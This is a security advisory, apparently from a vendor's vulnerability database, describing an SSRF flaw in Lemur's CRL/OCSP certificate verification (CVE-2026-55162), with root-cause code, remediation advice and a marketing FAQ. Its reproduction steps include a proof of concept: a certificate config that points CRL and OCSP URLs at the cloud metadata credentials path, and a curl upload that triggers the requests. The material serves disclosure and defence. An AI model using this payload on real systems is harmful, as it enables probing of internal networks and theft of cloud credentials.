Summary
Lemur: Crafted CRL/OCSP URLs in uploaded certificates lead to post-authentication SSRF
When verifying an uploaded certificate, lemur/certificates/verify.py extracts the CRL Distribution Point URL and the OCSP responder URL directly from the certificate's extensions and issues outbound requests to those URLs without scheme restriction or destination allow-listing. An authenticated user holding the operator role (required by StrictRolePermission on POST /certificates/upload) can craft a certificate whose extensions point at internal services - instance metadata endpoints, internal Kubernetes API servers, RFC1918 hosts, link-local addresses - and cause the Lemur host to issue requests against those destinations during verification.
Root Cause
lemur/certificates/verify.py, crl_verify:
point = p.full_name[0].value # URL from CDP extension of uploaded cert
...
response = requests.get(point, timeout=(3.05, 6)) # no allow-list, no destination filter
lemur/certificates/verify.py, ocsp_verify:
command = ["openssl", "x509", "-noout", "-ocsp_uri", "-in", cert_path]
p1 = subprocess.Popen(command, stdout=subprocess.PIPE, ...)
url, _ = p1.communicate()
p2 = subprocess.Popen(
["openssl", "ocsp", "-issuer", issuer_chain_path, "-cert", cert_path,
"-url", url.strip()], # attacker-controlled URL
...
)
In both code paths the URL flows from attacker-controlled certificate-extension content to a network sink with no validation against an allow-list of hostnames, no scheme restriction beyond rejecting LDAP via InvalidSchema, and no filtering of RFC1918 / link-local (169.254/16) / loopback / IPv6 ULA destinations.
Affected Endpoints
| Method | Path | Source |
|---|---|---|
| POST | /api/1/certificates/upload | verify_string → crl_verify / ocsp_verify |
The bug additionally surfaces anywhere verify_string is invoked on attacker-influenced certificate content (sync paths, source plugin re-validation, etc.). The upload endpoint is the most direct trigger.
Steps to Reproduce
Set up Lemur on an EC2 instance with IMDSv1 enabled (or any host with reachable RFC1918 services). Create an admin user and an operator-role user
eve.Generate a self-signed certificate whose extensions point at internal services:
cat > openssl.cnf <<EOF [req] distinguished_name = req_distinguished_name req_extensions = v3_ca prompt = no [req_distinguished_name] CN = ssrf-poc.example [v3_ca] crlDistributionPoints = URI:http://169.254.169.254/latest/meta-data/iam/security-credentials/ authorityInfoAccess = OCSP;URI:http://169.254.169.254/latest/meta-data/ EOF openssl req -x509 -newkey rsa:2048 -keyout ssrf.key -out ssrf.crt \ -days 365 -nodes -config openssl.cnf -extensions v3_caOn the Lemur host, start a packet capture filter for the target address before submitting the cert:
sudo tcpdump -nni any host 169.254.169.254As
eve, upload the malicious certificate:BODY=$(cat ssrf.crt | sed ':a;N;$!ba;s/\n/\\n/g') curl -X POST https://lemur.local/api/1/certificates/upload \ -H "Authorization: Bearer <eve_jwt>" \ -H "Content-Type: application/json" \ -d "{ \"name\": \"ssrf-poc\", \"body\": \"$BODY\", \"chain\": \"\", \"private_key\": \"\", \"owner\": \"[email protected]\" }"Observe the outbound request to
169.254.169.254in the tcpdump output. The request originates from the Lemur process duringverify_stringprocessing of the uploaded cert. The attacker has successfully induced a server-side request to an internal address of their choosing.
Impact
An operator-role attacker can:
- Probe the Lemur host's internal network through outbound CRL/OCSP fetches and infer topology from response timings and error messages.
- On EC2 instances without IMDSv2 enforcement, cause requests to
http://169.254.169.254/and influence downstream behavior of components that parse the response. - Pin attacker-controlled CRLs into the unbounded module-level
crl_cachedict (see Advisory 4c) for permanent cache poisoning - once cached, a poisoned CRL is served to every subsequent verification for the same URL.
The operator-role precondition reduces severity from what an unauthenticated SSRF would warrant, but operators are still meaningfully less trusted than the host's network position. PKI workflows also routinely process third-party certificates whose extensions are not directly controlled by the operator, broadening the trigger surface beyond purely-malicious operators.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-55162 has a CVSS score of 6.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.9.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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See it in your environmentNew to Kodem? Get a demo →Remediation advice
Filter the URL before it reaches the network sink. Either:
- Maintain an explicit allow-list of CRL/OCSP hostnames in configuration (e.g.,
LEMUR_TRUSTED_CRL_HOSTSandLEMUR_TRUSTED_OCSP_HOSTS) and reject anything outside the list, or - Use an SSRF-safe HTTP client wrapper that resolves the destination, rejects RFC1918 / link-local / loopback / IPv6 ULA addresses before connecting, and pins the resolved IP to defeat DNS rebinding.
For OCSP, route the parsed URL through the same wrapper before passing it as-urltoopenssl ocsp.
Additionally, bound crl_cache (see Advisory 4c) to prevent the SSRF vector from amplifying into a persistent cache-poisoning condition.
Frequently Asked Questions
- What is CVE-2026-55162? CVE-2026-55162 is a medium-severity server-side request forgery (SSRF) vulnerability in lemur (pip), affecting versions <= 1.9.1. It is fixed in 1.9.2. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2026-55162? CVE-2026-55162 has a CVSS score of 6.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of lemur are affected by CVE-2026-55162? lemur (pip) versions <= 1.9.1 is affected.
- Is there a fix for CVE-2026-55162? Yes. CVE-2026-55162 is fixed in 1.9.2. Upgrade to this version or later.
- Is CVE-2026-55162 exploitable, and should I be worried? Whether CVE-2026-55162 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-55162 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-55162? Upgrade
lemurto 1.9.2 or later.